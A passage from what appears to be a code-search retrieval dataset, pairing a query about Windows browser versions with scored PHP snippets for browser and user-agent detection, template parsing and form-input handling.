\"description\", \"textinput\", \"stylesheet\");\r\n if ($debug) $debug.= \"data= <blockquote>\".nl2br(htmlentities($data)).\"</blockquote>\\n\";\r\n foreach ($properties AS $key=>$class) {;\r\n $classlength= strlen($class) + 2;\r\n if ($parsestart= strpos( $data, \"<$class>\") + $classlength) {\r\n if ($commandout= strpos( $data, \"</$class>\", $parsestart)) {\r\n $parselength= $commandout - $parsestart;\r\n $context[$class]= substr( $data, $parsestart, $parselength);\r\n if ($debug) $debug.= \"context[$class]= substr( data, $parsestart, $commandout ); classlength=$classlength.<br />\";\r\n if ($debug) $debug.= \"<b>context[$class]=</b> <blockquote>\".nl2br(htmlentities($context[$class])).\"</blockquote>\\n\";\r\n $found= 1;\r\n }\r\n }\r\n }\r\n\r\n return $found;\r\n}", "title": "" }, { "docid": "c182c59c456c084cfe9234806a51270a", "score": "0.52289826", "text": "function parse($content_file, array $data = null)\n {\n if(is_array($data)) {\n extract($data, EXTR_OVERWRITE | EXTR_PREFIX_ALL, TEMPLATE_VAR_PREFIX);\n }\n ob_start();\n include TEMPLATE_ROOT . \"/\" . $content_file;\n return ob_get_clean();\n }", "title": "" }, { "docid": "9be62164ed88340e9ef95829f21395bf", "score": "0.5226717", "text": "function parse() {\n\t\t$fp = fopen(\"themes/\".$this->theme.\"/\".$this->main_file,\"r\");\n\t\t$main_content = fread($fp,filesize(\"themes/\".$this->theme.\"/\".$this->main_file));\n\t\t$done = false;\n\t\tdo {\n\t\t\t$pos = strpos($main_content,\"[[\");\n\t\t\t$pos2 = strpos($main_content,\"]]\");\n\t\t\t$key = substr($main_content,$pos+2,$pos2-$pos-2);\n\t\t\tif(is_int($pos)&&is_int($pos2)) {\n\t\t\t\tif(is_array($this->page_data[$key])) {\n\t\t\t\t\t$main_content = str_replace(\"[[$key]]\",$this->build_repeat($this->page_data[$key]),$main_content);\n\t\t\t\t}\n\t\t\t\telse {\n\t\t\t\t\t$main_content = str_replace(\"[[$key]]\",$this->page_data[$key],$main_content);\n\t\t\t\t}\n\t\t\t}\n\t\t\telse\n\t\t\t\t$done = true;\n\t\t} while(!$done);\n\t\t$this->full_content = $main_content;\n\t}", "title": "" }, { "docid": "b41d7d30165874306fc5a5afe36270ab", "score": "0.5221491", "text": "public static function data()\n {\n $datos = array();\n parse_str( Request::current()->body(), $datos );\n return( $datos );\n }", "title": "" }, { "docid": "493e8d3a2daa4665324e6156b2760886", "score": "0.5218379", "text": "function setup()\n {\n $this->parse();\n\n return $this->data;\n }", "title": "" }, { "docid": "f195903ddc675b4d07572eec7fb9d223", "score": "0.52181566", "text": "private function extract()\n {\n $object = new \\StdClass;\n $object->id = NULL;\n $object->postid = filter_var( $_POST['postid'], FILTER_SANITIZE_NUMBER_INT );\n $object->moniker = filter_var( $_POST['moniker'], FILTER_SANITIZE_STRING );\n $object->author = filter_var( $_POST['author'], FILTER_SANITIZE_STRING );\n $object->email = filter_var( $_POST['email'], FILTER_SANITIZE_EMAIL );\n $object->website = filter_var( $_POST['website'], FILTER_SANITIZE_URL );\n $object->content = filter_var( $_POST['content'], FILTER_SANITIZE_STRING );\n $object->author_ip = $_SERVER['REMOTE_ADDR'];\n $object->referer = $_SERVER['HTTP_REFERER'];\n date_default_timezone_set(\"UTC\");\n $object->date = date(\"Y-m-d H:i:s\", time());\n return $object;\n }", "title": "" }, { "docid": "c34b6e837f19e547a871160543df49c0", "score": "0.5217072", "text": "private function extract_author() {\n\t\tif (isset($this->author)) return;\n\t\t$this->author = '';\n\t\tif ($this->html === NULL || $this->error !== NULL) return;\n\t\t/* Easy, just get page title */\n\t\tif (preg_match(\"#<title>(.+)</title>#\", $this->html, $mc)) \n\t\t\t$this->author = $mc[1];\n\t}", "title": "" }, { "docid": "2070643ef6079becb128cfc1b0a9c1c0", "score": "0.5209666", "text": "protected function extractVariables($content)\n {\n preg_match_all('/\\[\\[(.*?)\\]\\]/', $content, $matches);\n\n if (!isset($matches[0], $matches[1])) {\n return [];\n }\n $return = [];\n $notifications = \\Antares\\Foundation\\Notification::getInstance()->all();\n\n foreach ($matches[1] as $index => $match) {\n if (!str_contains($match, '::')) {\n continue;\n }\n list($component, $var) = explode('::', trim($match));\n $name = $this->findExtensionName($component);\n if (!$name) {\n continue;\n }\n $variables = $notifications[$name]['variables'];\n $return[$matches[0][$index]] = $this->resolveValue($var, $variables);\n }\n return $return;\n }", "title": "" }, { "docid": "eed5c2c0af21bf3692d36b8a77e4157e", "score": "0.52073574", "text": "public abstract function get_content(): string;", "title": "" }, { "docid": "b0090a8d4ae3c8466660e8ccbc660f7c", "score": "0.52035856", "text": "protected function parseInformation() {\n // Grab address\n $this->getAddress();\n\n // Grab metadata\n if($this->pullMetaData) {\n $this->getMetaData();\n }\n\n // Grab sold info\n $this->getSold();\n\n // Grab estimated values\n $this->getEstimatedValues();\n\n // If we have photos then pull the photos\n if($this->pullPhotos) {\n $this->getPhotos();\n }\n\n return $this->response;\n }", "title": "" } ]
bccfef0576a6c3dd28d1948944adb23d
Win Firefox 3.0 Win Firefox 2.0 Win Firefox 1.5.0 Win Firefox 1.0.7 Win Mozilla 1.7.12 Win Mozilla 1.6 Win Netscape 4.78 Win Netscape 6.2 Win Netscape 7.2
[ { "docid": "f18788358c61258c1e636c60135cf221", "score": "0.6654598", "text": "function _isBrowserWinFF($ua_ok) {\r\n\t\treturn ( (eregi( \"Windows\", $ua_ok ) && eregi( \"firefox\", $ua_ok ) && eregi( \"[1]\\.[9]\", $ua_ok ) ) ||\r\n\t\t\t\t (eregi( \"Windows\", $ua_ok ) && eregi( \"firefox\", $ua_ok ) && eregi( \"[1]\\.[8]\\.[1]\", $ua_ok ) ) ||\r\n\t\t\t\t (eregi( \"Windows\", $ua_ok ) && eregi( \"firefox\", $ua_ok ) && eregi( \"[1]\\.[5]\\.[0]\", $ua_ok ) ) ||\r\n\t\t\t\t (eregi( \"Windows\", $ua_ok ) && eregi( \"firefox\", $ua_ok ) && eregi( \"[1]\\.[0]\\.[7]\", $ua_ok ) ) ||\r\n\t\t\t\t (eregi( \"Windows\", $ua_ok ) && eregi( \"mozilla\", $ua_ok ) && !eregi( \"netscape\", $ua_ok ) && eregi( \"rv:[1]\\.[7]\\.[12]\", $ua_ok ) ) ||\r\n\t\t\t\t (eregi( \"Windows\", $ua_ok ) && eregi( \"mozilla\", $ua_ok ) && eregi( \"rv:[1]\\.[6]\", $ua_ok ) ) ||\r\n\t\t\t\t (eregi( \"Windows\", $ua_ok ) && eregi( \"mozilla\", $ua_ok ) && eregi( \"[4]\\.[78]\", $ua_ok ) ) ||\r\n\t\t\t\t (eregi( \"Windows\", $ua_ok ) && eregi( \"netscape\", $ua_ok ) && eregi( \"[6]\", $ua_ok ) ) ||\r\n\t\t\t\t (eregi( \"Windows\", $ua_ok ) && eregi( \"netscape\", $ua_ok ) && eregi( \"[7]\", $ua_ok ) )\r\n\t\t\t );\r\n\t}", "title": "" } ]
[ { "docid": "98ee391edce0c8a8019f46ff2a1c9424", "score": "0.70938927", "text": "function get_client_browser() {\r\n $browser = '';\r\n if(strpos($_SERVER['HTTP_USER_AGENT'], 'Netscape'))\r\n $browser = 'Netscape';\r\n else if (strpos($_SERVER['HTTP_USER_AGENT'], 'Firefox'))\r\n $browser = 'Firefox';\r\n else if (strpos($_SERVER['HTTP_USER_AGENT'], 'Chrome'))\r\n $browser = 'Chrome';\r\n else if (strpos($_SERVER['HTTP_USER_AGENT'], 'Opera'))\r\n $browser = 'Opera';\r\n else if (strpos($_SERVER['HTTP_USER_AGENT'], 'MSIE'))\r\n $browser = 'Internet Explorer';\r\n else\r\n $browser = 'Other';\r\n return $browser;\r\n}", "title": "" }, { "docid": "0073de102aa1a4d2ceec4eca15b58a04", "score": "0.69944423", "text": "function getBrowser(){ \n\t\t$u_agent\t=\t$_SERVER['HTTP_USER_AGENT']; \n\t\t$bname\t\t=\t'Unknown';\n\t\t$platform\t=\t'Unknown';\n\t\t$version\t=\t\"\";\n\n\t\tif (preg_match('/linux/i', $u_agent)) {\n\t\t\t$platform = 'Linux';\n\t\t}\n\t\telse if(preg_match('/macintosh|mac os x/i', $u_agent))\n\t\t{\n\t\t\t$platform = 'Mac';\n\t\t}\n\t\telse if(preg_match('/windows|win32/i', $u_agent))\n\t\t{\n\t\t\t$platform = 'Windows';\n\t\t}\n\n\t\tif(preg_match('/MSIE/i',$u_agent) && !preg_match('/Opera/i',$u_agent)) \n\t\t{ \n\t\t\t$bname\t=\t'Internet Explorer'; \n\t\t\t$ub\t\t=\t\"MSIE\"; \n\t\t} \n\t\telseif(preg_match('/Firefox/i',$u_agent)) \n\t\t{ \n\t\t\t$bname\t=\t'Mozilla Firefox'; \n\t\t\t$ub\t\t=\t\"Firefox\"; \n\t\t} \n\t\telseif(preg_match('/Chrome/i',$u_agent)) \n\t\t{ \n\t\t\t$bname\t=\t'Google Chrome'; \n\t\t\t$ub\t\t=\t\"Chrome\"; \n\t\t} \n\t\telseif(preg_match('/Safari/i',$u_agent)) \n\t\t{ \n\t\t\t$bname\t=\t'Apple Safari'; \n\t\t\t$ub\t\t=\t\"Safari\"; \n\t\t} \n\t\telseif(preg_match('/Opera/i',$u_agent)) \n\t\t{ \n\t\t\t$bname\t=\t'Opera'; \n\t\t\t$ub\t\t=\t\"Opera\"; \n\t\t} \n\t\telseif(preg_match('/Netscape/i',$u_agent)) \n\t\t{ \n\t\t\t$bname\t=\t'Netscape'; \n\t\t\t$ub\t\t=\t\"Netscape\"; \n\t\t} \n\n\t\t$known = array('Version', $ub, 'other');\n\t\t$pattern = '#(?<browser>' . join('|', $known) .')[/ ]+(?<version>[0-9.|a-zA-Z.]*)#';\n\t\tif (!preg_match_all($pattern, $u_agent, $matches))\n\t\t{\n\t\t}\n\n\t\t$i\t=\tcount($matches['browser']);\n\t\tif ($i != 1) {\n\t\t\tif (strripos($u_agent,\"Version\") < strripos($u_agent,$ub))\n\t\t\t{\n\t\t\t\t$version= $matches['version'][0];\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t$version= $matches['version'][1];\n\t\t\t}\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$version= $matches['version'][0];\n\t\t}\n\n\t\tif ($version==null || $version==\"\") {$version=\"?\";}\n\t\treturn array(\n\t\t\t'userAgent'\t=>\t$u_agent,\n\t\t\t'name'\t\t=>\t$bname,\n\t\t\t'version'\t=>\t$version,\n\t\t\t'platform'\t=>\t$platform,\n\t\t\t'pattern'\t=>\t$pattern\n\t\t);\n\t}", "title": "" }, { "docid": "07073d07d2bff8b4f63579a60b73b421", "score": "0.6912454", "text": "function getBrowser( )\n{\n\t$agent = $_SERVER[\"HTTP_USER_AGENT\"] ; \n\t$isIE = stristr($agent, \"Mozilla\") && (stristr($agent, \"compatible\")) && (!stristr($agent, \"Opera\")) ;\n\t$isOpera = stristr($agent, \"Mozilla\") && stristr($agent, \"Opera\") ;\n\t$isNSwin = stristr($agent, \"Mozilla\") && (stristr($agent, \"Netscape\")) ;\n\t$isNSX11 = stristr($agent, \"Mozilla\") && stristr($agent, \"X11\") ;\n\t\n\t$browser = \"Unknown\" ;\n\tif ($isIE)\n\t{\n\t\t$browser = \"IEWin\" ;\n\t}\n\telse if ($isNSwin)\n\t{\n\t\t$browser = \"NetscapeWin\" ;\n\t}\n\telse if ($isNSX11)\n\t{\n\t\t$browser = \"NetscapeX11\";\n\t}\n\telse if ($isOpera)\n\t{\n\t\t$browser = \"OperaWin\";\n\t}\n\treturn $browser;\n\n\n\n}", "title": "" }, { "docid": "8a4d63ea4bf271979e84993d7a66c64e", "score": "0.68333846", "text": "private function findBrowserInformation(){\n\t\t$browser = $version = $platform = $os = $osversion = $device = '';\n\t\t$userAgent = isset($_SERVER['HTTP_USER_AGENT'])?$_SERVER['HTTP_USER_AGENT']:\"\";\n\t\tif(!empty($userAgent)){\t\n\t\t\t//Broswer Detection\n\t\t\tpreg_match_all(\"/(Opera|Chrome|CriOS|Version|Firefox|MSIE)[\\/|\\s](\\d+(?:[\\_|\\.]\\d+){1,2})\\b/\", $userAgent, $matches, PREG_SET_ORDER);\n\t\t\tif(!empty($matches)){\n\t\t\t\tlist($browser, $version) = array($matches[0][1], str_replace(\".\",\"_\",$matches[0][2]));\n\t\t\t\t$browser = ($browser==\"Version\")?\"Safari\":$browser;\n\t\t\t\t$browser = ($browser==\"MSIE\")?\"IE\":$browser;\n\t\t\t\t$browser = ($browser==\"CriOS\")?\"Chrome\":$browser;\n\t\t\t\t$browser = strtolower($browser);\n\t\t\t}\n\t\t\t\n\t\t\t//Platform Detection\n\t\t\tif( stripos($userAgent, 'windows') !== false ) {\n\t\t\t\t$platform = 'windows';\n\t\t\t\t$os = 'windows';\n\t\t\t\t//Lets Try To Refine\n\t\t\t\tif(preg_match('/(Windows 95|Win95|Windows_95)/i', $userAgent)){\n\t\t\t\t\t$osversion = '95';\n\t\t\t\t}else if(preg_match('/(Windows 98|Win98)/i', $userAgent)){\n\t\t\t\t\t$osversion = '98';\n\t\t\t\t}else if(preg_match('/(Windows NT 5.0|Windows 2000)/i', $userAgent)){\n\t\t\t\t\t$osversion = '2000';\n\t\t\t\t}else if(preg_match('/(Windows NT 5.1|Windows XP)/i', $userAgent)){\n\t\t\t\t\t$osversion = 'XP';\n\t\t\t\t}else if(stripos($userAgent, 'Windows NT 5.2') !== false){\n\t\t\t\t\t$osversion = '2003';\n\t\t\t\t}else if(preg_match('/(Windows NT 6.0|Windows Vista)/i', $userAgent)){\n\t\t\t\t\t$osversion = 'Vista';\n\t\t\t\t}else if(preg_match('/(Windows NT 6.1|Windows 7)/i', $userAgent)){\n\t\t\t\t\t$osversion = '7';\n\t\t\t\t}else if(preg_match('/(Windows NT 6.2|Windows 8)/i', $userAgent)){\n\t\t\t\t\t$osversion = '8';\n\t\t\t\t}else if(preg_match('/(Windows NT 4.0|WinNT4.0|WinNT|Windows NT)/i', $userAgent)){\n\t\t\t\t\t$osversion = 'NT';\n\t\t\t\t}else if(stripos($userAgent, 'Windows ME') !== false){\n\t\t\t\t\t$osversion = 'ME';\n\t\t\t\t}\n\t\t\t} else if( stripos($userAgent, 'iPad') !== false ) {\n\t\t\t\t$platform = 'iPad';\n\t\t\t\t$os = \"iOS\";\n\t\t\t\tif(preg_match('/[\\bOS|\\biOS] (\\d+(?:\\_\\d+){1,2})\\b/i', $userAgent, $matches)){\n\t\t\t\t\t$osversion = $matches[1];\n\t\t\t\t}\n\t\t\t} else if( stripos($userAgent, 'iPod') !== false ) {\n\t\t\t\t$platform = 'iPod';\n\t\t\t\t$os = \"iOS\";\n\t\t\t\tif(preg_match('/[\\bOS|\\biOS] (\\d+(?:\\_\\d+){1,2})\\b/i', $userAgent, $matches)){\n\t\t\t\t\t$osversion = $matches[1];\n\t\t\t\t}\n\t\t\t} else if( stripos($userAgent, 'iPhone') !== false ) {\n\t\t\t\t$platform = 'iPhone';\n\t\t\t\t$os = \"iOS\";\n\t\t\t\tif(preg_match('/[\\bOS|\\biOS] (\\d+(?:\\_\\d+){1,2})\\b/i', $userAgent, $matches)){\n\t\t\t\t\t$osversion = $matches[1];\n\t\t\t\t}\n\t\t\t} elseif( stripos($userAgent, 'mac') !== false ) {\n\t\t\t\t$platform = 'macintosh';\n\t\t\t\t\n\t\t\t\t//Mac OS Version\n\t\t\t\tif(preg_match('/\\bOS X (\\d+(?:[\\_|\\.]\\d+){1,2})\\b/i', $userAgent, $matches)){\n\t\t\t\t\t$osversion = str_replace(\".\",\"_\",$matches[1]);\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t//Mac OS Name\n\t\t\t\tif(stripos($osversion, '10_10') !== false){\n\t\t\t\t\t$os = 'yosemite';\n\t\t\t\t} else if(stripos($osversion, '10_9') !== false){\n\t\t\t\t\t$os = 'mavericks';\n\t\t\t\t} else if(stripos($osversion, '10_8') !== false){\n\t\t\t\t\t$os = 'mountainLion';\n\t\t\t\t} else if(stripos($osversion, '10_7') !== false){\n\t\t\t\t\t$os = 'lion';\n\t\t\t\t} else if(stripos($osversion, '10_6') !== false){\n\t\t\t\t\t$os = 'snowLeopard';\n\t\t\t\t} else if(stripos($osversion, '10_5') !== false){\n\t\t\t\t\t$os = 'leopard';\n\t\t\t\t} else if(stripos($osversion, '10_4') !== false){\n\t\t\t\t\t$os = 'tiger';\n\t\t\t\t} else if(stripos($osversion, '10_3') !== false){\n\t\t\t\t\t$os = 'panther';\n\t\t\t\t}\n\t\t\t\t\n\t\t\t} elseif( stripos($userAgent, 'android') !== false ) {\n\t\t\t\t$platform = 'android';\n\t\t\t\t$os = \"android\";\n\t\t\t\tif(preg_match('/\\bAndroid (\\d+(?:\\.\\d+){1,2})[;)]/i', $userAgent, $matches)){\n\t\t\t\t\t$osversion = str_replace(\".\",\"_\",$matches[1]);\n\t\t\t\t}\n\t\t\t} elseif( stripos($userAgent, 'linux') !== false ) {\n\t\t\t\t$platform = 'linux';\n\t\t\t} else if( stripos($userAgent, 'Nokia') !== false ) {\n\t\t\t\t$platform = 'nokia';\n\t\t\t} else if( stripos($userAgent, 'BlackBerry') !== false ) {\n\t\t\t\t$platform = 'blackBerry';\n\t\t\t} elseif( stripos($userAgent,'FreeBSD') !== false ) {\n\t\t\t\t$platform = 'freeBSD';\n\t\t\t} elseif( stripos($userAgent,'OpenBSD') !== false ) {\n\t\t\t\t$platform = 'openBSD';\n\t\t\t} elseif( stripos($userAgent,'NetBSD') !== false ) {\n\t\t\t\t$platform = 'netBSD';\n\t\t\t} elseif( stripos($userAgent, 'OpenSolaris') !== false ) {\n\t\t\t\t$platform = 'openSolaris';\n\t\t\t} elseif( stripos($userAgent, 'SunOS') !== false ) {\n\t\t\t\t$platform = 'sunOS';\n\t\t\t} elseif( stripos($userAgent, 'OS\\/2') !== false ) {\n\t\t\t\t$platform = 'oS/2';\n\t\t\t} elseif( stripos($userAgent, 'BeOS') !== false ) {\n\t\t\t\t$platform = 'BeOS';\n\t\t\t} elseif( stripos($userAgent, 'win') !== false ) {\n\t\t\t\t$platform = 'windowsCE';\n\t\t\t} elseif( stripos($userAgent, 'QNX') !== false ) {\n\t\t\t\t$platform = 'QNX';\n\t\t\t} elseif( preg_match('/(nuhk|Googlebot|Yammybot|Openbot|Slurp\\/cat|msnbot|ia_archiver)/i', $userAgent) ) {\n\t\t\t\t$platform = 'spider';\n\t\t\t}\n\t\t\t\n\t\t\t//Device Detection\n\t\t\t$GenericPhones = array('acs-', 'alav', 'alca', 'amoi', 'audi', 'aste', 'avan', 'benq', 'bird', 'blac', 'blaz', 'brew', 'cell', 'cldc', 'cmd-', 'dang', 'doco', 'eric', 'hipt', 'inno', 'ipaq', 'java', 'jigs', 'kddi', 'keji', 'leno', 'lg-c', 'lg-d', 'lg-g', 'lge-', 'maui', 'maxo', 'midp', 'mits', 'mmef', 'mobi', 'mot-', 'moto', 'mwbp', 'nec-', 'newt', 'noki', 'opwv', 'palm', 'pana', 'pant', 'pdxg', 'phil', 'play', 'pluc', 'port', 'prox', 'qtek', 'qwap', 'sage', 'sams', 'sany', 'sch-', 'sec-', 'send', 'seri', 'sgh-', 'shar', 'sie-', 'siem', 'smal', 'smar', 'sony', 'sph-', 'symb', 't-mo', 'teli', 'tim-', 'tosh', 'tsm-', 'upg1', 'upsi', 'vk-v', 'voda', 'w3c ', 'wap-', 'wapa', 'wapi', 'wapp', 'wapr', 'webc', 'winw', 'winw', 'xda', 'xda-');\n\t\t\t\n\t\t\t//Default Device\n\t\t\t$device = \"desktop\";\n\t\t\t\n\t\t\tif(!in_array($platform, array(\"apple\", \"windows\", \"iPad\"))){\n\t\t\t\tif(preg_match('/up.browser|up.link|windows ce|iemobile|mini|mmp|symbian|midp|wap|phone|pocket|mobile|pda|psp/i',$userAgent) || \n\t\t\t\t\tisset($_SERVER['HTTP_ACCEPT']) && stristr($_SERVER['HTTP_ACCEPT'],'text/vnd.wap.wml')||stristr($_SERVER['HTTP_ACCEPT'],'application/vnd.wap.xhtml+xml') ||\n\t\t\t\t\tisset($_SERVER['HTTP_X_WAP_PROFILE'])||isset($_SERVER['HTTP_PROFILE'])||isset($_SERVER['X-OperaMini-Features'])||isset($_SERVER['UA-pixels']) ||\n\t\t\t\t\tisset($GenericPhones[substr($userAgent,0,4)])){\n\t\t\t\t\t\n\t\t\t\t\t$device = \"mobile\";\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\t\n\t\t$this->browser = $browser;\n\t\t$this->browserVersion = $version;\n\t\t$this->os = $os;\n\t\t$this->osVersion = $osversion;\n\t\t$this->platform = $platform;\n\t\t$this->device = $device;\n\t}", "title": "" }, { "docid": "dcbd36c9e6fb96acb69332ce1a4d5e6b", "score": "0.681137", "text": "private function firefox()\n\t{\n\t\t$version = mt_rand(40, 60) . '.' . mt_rand(0, 5);\n\n\t\tswitch ($this->platform) {\n\t\t\tcase self::WINDOWS:\n\t\t\t\t$architectures = [\n\t\t\t\t\t'', 'WOW64; ', 'Win64; x64; ', 'Win64; ',\n\t\t\t\t];\n\n\t\t\t\treturn 'Mozilla/5.0 (' . $this->getWindowsNT() . '; ' . $architectures[mt_rand(0, count($architectures) - 1)] . 'rv:' . $version . ') Gecko/20' . mt_rand(10, 15) . '0101 Firefox/' . $version;\n\n\t\t\tcase self::LINUX:\n\t\t\t\t$systems = [\n\t\t\t\t\t'', 'U; ', 'Ubuntu; ',\n\t\t\t\t];\n\n\t\t\t\treturn 'Mozilla/5.0 (X11; ' . $systems[mt_rand(0, count($systems) - 1)] . $this->getLinux() . '; rv:' . $version . ') Gecko/20' . mt_rand(10, 15) . '0101 Firefox/' . $version;\n\n\t\t\tcase self::MAC_OS:\n\t\t\t\t$languages = [\n\t\t\t\t\t'', '; ' . $this->getLanguageCode() . ';',\n\t\t\t\t];\n\n\t\t\t\treturn 'Mozilla/5.0 (Macintosh; ' . $this->getMac() . ' Mac OS X 10.' . mt_rand(9, 15) . $languages[mt_rand(0, count($languages) - 1)] . ' rv:' . $version . ') Gecko/20' . mt_rand(10, 15) . '0101 Firefox/' . $version;\n\t\t}\n\t}", "title": "" }, { "docid": "c0b265419c2bf66d9efcbe45833b4d36", "score": "0.674551", "text": "function getBrowser() \n \t{ \n\t\t$u_agent = $_SERVER['HTTP_USER_AGENT']; \n\t\t$bname = 'Unknown';\n\t\t$platform = 'Unknown';\n\t\t$version = \"\";\n\n\t \t//First get the platform?\n\t \tif (preg_match('/linux/i', $u_agent)) {\n\t $platform = 'linux';\n\t \t} elseif (preg_match('/macintosh|mac os x/i', $u_agent)) {\n\t $platform = 'mac';\n\t \t} elseif (preg_match('/windows|win32/i', $u_agent)) {\n\t $platform = 'windows';\n\t \t}\n\t\n\t \t// Next get the name of the useragent yes seperately and for good reason\n\t \tif(preg_match('/MSIE/i',$u_agent) && !preg_match('/Opera/i',$u_agent)) \n\t \t{ \n\t \t$bname = 'Internet Explorer'; \n\t \t$ub = \"MSIE\"; \n\t \t} \n\t \telseif(preg_match('/Firefox/i',$u_agent)) \n\t \t{ \n\t \t$bname = 'Mozilla Firefox'; \n\t \t$ub = \"Firefox\"; \n\t \t} \n\t \telseif(preg_match('/Chrome/i',$u_agent)) \n\t \t{ \n\t \t$bname = 'Google Chrome'; \n\t \t$ub = \"Chrome\"; \n\t \t} \n\t \telseif(preg_match('/Safari/i',$u_agent)) \n\t \t{ \n\t \t$bname = 'Apple Safari'; \n\t \t$ub = \"Safari\"; \n\t \t} \n\t \telseif(preg_match('/Opera/i',$u_agent)) \n\t \t{ \n\t \t$bname = 'Opera'; \n\t \t$ub = \"Opera\"; \n\t \t} \n\t \telseif(preg_match('/Netscape/i',$u_agent)) \n\t \t{ \n\t \t$bname = 'Netscape'; \n\t \t\t$ub = \"Netscape\"; \n\t \t} \n\n \t\t// finally get the correct version number\n \t\t$known = array('Version', $ub, 'other');\n \t\t$pattern = '#(?<browser>' . join('|', $known) .')[/ ]+(?<version>[0-9.|a-zA-Z.]*)#';\n \t\tif (!preg_match_all($pattern, $u_agent, $matches)) {\n \t\t// we have no matching number just continue\n \t\t}\n\n \t\t// see how many we have\n \t\t$i = count($matches['browser']);\n\t\tif ($i != 1) \n\t\t{\n\t\t\t//we will have two since we are not using 'other' argument yet\n\t\t\t//see if version is before or after the name\n \t\tif (strripos($u_agent,\"Version\") < strripos($u_agent,$ub))\n\t\t\t{\n \t\t\t$version= $matches['version'][0];\n \t\t}\n \t\telse \n\t\t\t{\n \t\t\t$version= $matches['version'][1];\n \t\t}\n \t\t}\n \t\telse \n\t\t{\n \t\t$version= $matches['version'][0];\n \t\t}\n\n \t\t// check if we have a number\n \t\tif ($version==null || $version==\"\") {$version=\"?\";}\n\n \t\treturn array(\n\t\t\t\t'userAgent' => $u_agent,\n\t\t\t\t'name' => $bname,\n\t\t\t\t'version' => $version,\n\t\t\t\t'platform' => $platform,\n\t\t\t\t'pattern' => $pattern\n \t\t\t );\n \t}", "title": "" }, { "docid": "49da8149468a71968f25c359dac3a83b", "score": "0.67225605", "text": "function getBrowser()\r\n\t\t{\r\n\t\t\t\t$u_agent = $_SERVER['HTTP_USER_AGENT'];\r\n\t\t\t\t$bname = 'unbekannt';\r\n\t\t\t\t$platform = 'unbekannt';\r\n\t\t\t\t$version= \"\";\r\n\r\n\t\t\t\t//First get the platform?\r\n\t\t\t\tif (preg_match('/linux/i', $u_agent)) {\r\n\t\t\t\t\t\t$platform = 'linux';\r\n\t\t\t\t}\r\n\t\t\t\telseif (preg_match('/macintosh|mac os x/i', $u_agent)) {\r\n\t\t\t\t\t\t$platform = 'mac';\r\n\t\t\t\t}\r\n\t\t\t\telseif (preg_match('/windows|win32/i', $u_agent)) {\r\n\t\t\t\t\t\t$platform = 'windows';\r\n\t\t\t\t}\r\n\t\t\t \r\n\t\t\t\t// Next get the name of the useragent yes seperately and for good reason\r\n\t\t\t\tif(preg_match('/MSIE/i',$u_agent) && !preg_match('/Opera/i',$u_agent))\r\n\t\t\t\t{\r\n\t\t\t\t\t\t$bname = 'Internet Explorer';\r\n\t\t\t\t\t\t$ub = \"MSIE\";\r\n\t\t\t\t}\r\n\t\t\t\telseif(preg_match('/Firefox/i',$u_agent))\r\n\t\t\t\t{\r\n\t\t\t\t\t\t$bname = 'Mozilla Firefox';\r\n\t\t\t\t\t\t$ub = \"Firefox\";\r\n\t\t\t\t}\r\n\t\t\t\telseif(preg_match('/Chrome/i',$u_agent))\r\n\t\t\t\t{\r\n\t\t\t\t\t\t$bname = 'Google Chrome';\r\n\t\t\t\t\t\t$ub = \"Chrome\";\r\n\t\t\t\t}\r\n\t\t\t\telseif(preg_match('/Safari/i',$u_agent))\r\n\t\t\t\t{\r\n\t\t\t\t\t\t$bname = 'Apple Safari';\r\n\t\t\t\t\t\t$ub = \"Safari\";\r\n\t\t\t\t}\r\n\t\t\t\telseif(preg_match('/Opera/i',$u_agent))\r\n\t\t\t\t{\r\n\t\t\t\t\t\t$bname = 'Opera';\r\n\t\t\t\t\t\t$ub = \"Opera\";\r\n\t\t\t\t}\r\n\t\t\t\telseif(preg_match('/Netscape/i',$u_agent))\r\n\t\t\t\t{\r\n\t\t\t\t\t\t$bname = 'Netscape';\r\n\t\t\t\t\t\t$ub = \"Netscape\";\r\n\t\t\t\t}\r\n\t\t\t \r\n\t\t\t\t// finally get the correct version number\r\n\t\t\t\t$known = array('Version', $ub, 'other');\r\n\t\t\t\t$pattern = '#(?<browser>' . join('|', $known) .\r\n\t\t\t\t')[/ ]+(?<version>[0-9.|a-zA-Z.]*)#';\r\n\t\t\t\tif (!preg_match_all($pattern, $u_agent, $matches)) {\r\n\t\t\t\t\t\t// we have no matching number just continue\r\n\t\t\t\t}\r\n\t\t\t \r\n\t\t\t\t// see how many we have\r\n\t\t\t\t$i = count($matches['browser']);\r\n\t\t\t\tif ($i != 1) {\r\n\t\t\t\t\t\t//we will have two since we are not using 'other' argument yet\r\n\t\t\t\t\t\t//see if version is before or after the name\r\n\t\t\t\t\t\tif (strripos($u_agent,\"Version\") < strripos($u_agent,$ub)){\r\n\t\t\t\t\t\t\t\t$version= $matches['version'][0];\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t\telse {\r\n\t\t\t\t\t\t\t\t$version= $matches['version'][1];\r\n\t\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t\telse {\r\n\t\t\t\t\t\t$version= $matches['version'][0];\r\n\t\t\t\t}\r\n\t\t\t \r\n\t\t\t\t// check if we have a number\r\n\t\t\t\tif ($version==null || $version==\"\") {$version=\"?\";}\r\n\t\t\t \r\n\t\t\t\treturn array(\r\n\t\t\t\t\t\t'userAgent' => $u_agent,\r\n\t\t\t\t\t\t'name' => $bname,\r\n\t\t\t\t\t\t'version' => $version,\r\n\t\t\t\t\t\t'platform' => $platform,\r\n\t\t\t\t\t\t'pattern' => $pattern,\r\n\t\t\t\t\t\t'shortname' => $ub\r\n\t\t\t\t);\r\n\t\t}", "title": "" }, { "docid": "a2b69d9df245f702c742efd9b4a1d250", "score": "0.66896164", "text": "function getBrowser() {\n\t// Establish defaults\n $u_agent = $_SERVER['HTTP_USER_AGENT'];\n $b_name = 'Unknown';\n $platform = 'Unknown';\n $version= \"\";\n\n // First get the platform?\n if (preg_match('/linux/i', $u_agent)) {\n $platform = 'Linux';\n }\n elseif (preg_match('/macintosh|mac os x/i', $u_agent)) {\n $platform = 'Mac';\n }\n elseif (preg_match('/windows|win32/i', $u_agent)) {\n $platform = 'Windows';\n }\n\n // Next get the name of the useragent\n\tif(preg_match('/Trident/i', $u_agent) && !preg_match('/Opera/i',$u_agent)) {\n $b_name = 'Internet Explorer';\n $ub = \"Trident\";\n } elseif(preg_match('/MSIE/i',$u_agent) && !preg_match('/Opera/i',$u_agent)) {\n 